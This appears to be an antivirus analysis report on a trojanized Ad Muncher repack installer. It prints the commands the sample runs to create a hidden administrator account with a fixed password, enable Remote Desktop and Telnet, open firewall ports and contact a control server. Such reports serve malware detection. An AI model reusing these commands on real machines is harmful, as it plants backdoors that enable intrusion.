Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Ad Muncher' = '"%PROGRAM_FILES%\Ad Muncher\AdMunch.exe" /bt'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
Malicious functions:
Executes the following:
- <SYSTEM32>\netsh.exe firewall add portopening TCP 3389 "Remote Desktop"
- <SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0 +h +s" /f
- <SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update software" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0.USER-4BB09A9C02 +h +s" /f
- <SYSTEM32>\net1.exe accounts /maxpwage:unlimited
- <SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
- <SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
- <SYSTEM32>\net1.exe start Telnet
- <SYSTEM32>\tlntsvr.exe
- <SYSTEM32>\regsvr32.exe /s <SYSTEM32>\tlntsvrp.dll
- <SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a0 /t REG_DWORD /d 0 /f
- <SYSTEM32>\sc.exe config tlntsvr start= auto
- <SYSTEM32>\tlntadmn.exe config port=972 sec=-NTLM
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\@@@@@@@.bat" "
- <SYSTEM32>\chcp.com 1251
- <SYSTEM32>\net1.exe user SUPPORT_388945a0 /delete
- <SYSTEM32>\msiexec.exe
- <SYSTEM32>\wscript.exe ""%TEMP%\@.vbs""
- <SYSTEM32>\msiexec.exe /V
- <SYSTEM32>\net1.exe localgroup %USERNAME%s SUPPORT_388945a0 /add
- <SYSTEM32>\net1.exe localgroup "Пользователи удаленного рабочего стола" SUPPORT_388945a0 /add
- <SYSTEM32>\net1.exe localgroup "Remote Desktop Users"
- <SYSTEM32>\msiexec.exe -Embedding 1B249577A0D9DF3491D4636EB6318638
- <SYSTEM32>\net1.exe user SUPPORT_388945a0 31311989 /add /comment:"Microsoft Windows Account" /countrycode:"000" /active:"yes" /expires:"never" /passwordchg:"NO"
- <SYSTEM32>\net1.exe localgroup Администраторы SUPPORT_388945a0 /add
Modifies file system :
Creates the following files:
- %ALLUSERSPROFILE%\Application Data\Ad Muncher\Registration.dat
- %PROGRAM_FILES%\Ad Muncher\AM32-32562.dll
- %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\install.rdf
- %ALLUSERSPROFILE%\Application Data\Ad Muncher\License.dat
- %PROGRAM_FILES%\Ad Muncher\Install.ini
- %ALLUSERSPROFILE%\Application Data\Ad Muncher\Config.dat
- %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome.manifest
- %PROGRAM_FILES%\Ad Muncher\AdMunch.dll
- %ALLUSERSPROFILE%\Start Menu\Programs\Ad Muncher\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
- %ALLUSERSPROFILE%\Desktop\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
- %WINDIR%\Installer\{A8EA90E1-51E3-4F10-8759-86F42C704ABC}\_.exe
- %PROGRAM_FILES%\Ad Muncher\AM64-32562.dll
- %PROGRAM_FILES%\Ad Muncher\AdMunch64.exe
- %PROGRAM_FILES%\Ad Muncher\AdMunch.exe
- %PROGRAM_FILES%\Ad Muncher\AM32562d.fre
- %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome\AMBE.jar
- %APPDATA%\RePack Sergei\Ad Muncher\install\disk1.cab
- %TEMP%\@@@@@@@.bat.exe
- %TEMP%\1e569.msi
- %APPDATA%\RePack Sergei\Ad Muncher\install\1.msi
- %TEMP%\Ad_MUNCHER_4.91_build_32562_RePack_Sergei.exe
- %TEMP%\RRR.exe
- %TEMP%\@.vbs
- %TEMP%\1.tmp\@@@@@@@.bat
- %WINDIR%\Installer\MSI4.tmp
- %WINDIR%\Installer\MSI5.tmp
- C:\Config.Msi\1fbe2.rbs
- %WINDIR%\Installer\MSI3.tmp
- %WINDIR%\Installer\1fbdf.msi
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\ipgate[1].php
- %WINDIR%\Installer\MSI2.tmp
Deletes the following files:
- %TEMP%\1e569.msi
- %WINDIR%\Installer\1fbdf.msi
- %APPDATA%\RePack Sergei\Ad Muncher\install\1.msi
- %TEMP%\1.tmp\@@@@@@@.bat
- %APPDATA%\RePack Sergei\Ad Muncher\install\disk1.cab
- %WINDIR%\Installer\MSI3.tmp
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\MSI4.tmp
- C:\Config.Msi\1fbe2.rbs
- %WINDIR%\Installer\MSI5.tmp
Network activity:
Connects to:
- 'sh###nik.el.kg':80
- 'localhost':1035
TCP:
HTTP GET requests:
- sh###nik.el.kg/ipgate.php
UDP:
- DNS ASK sh###nik.el.kg
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
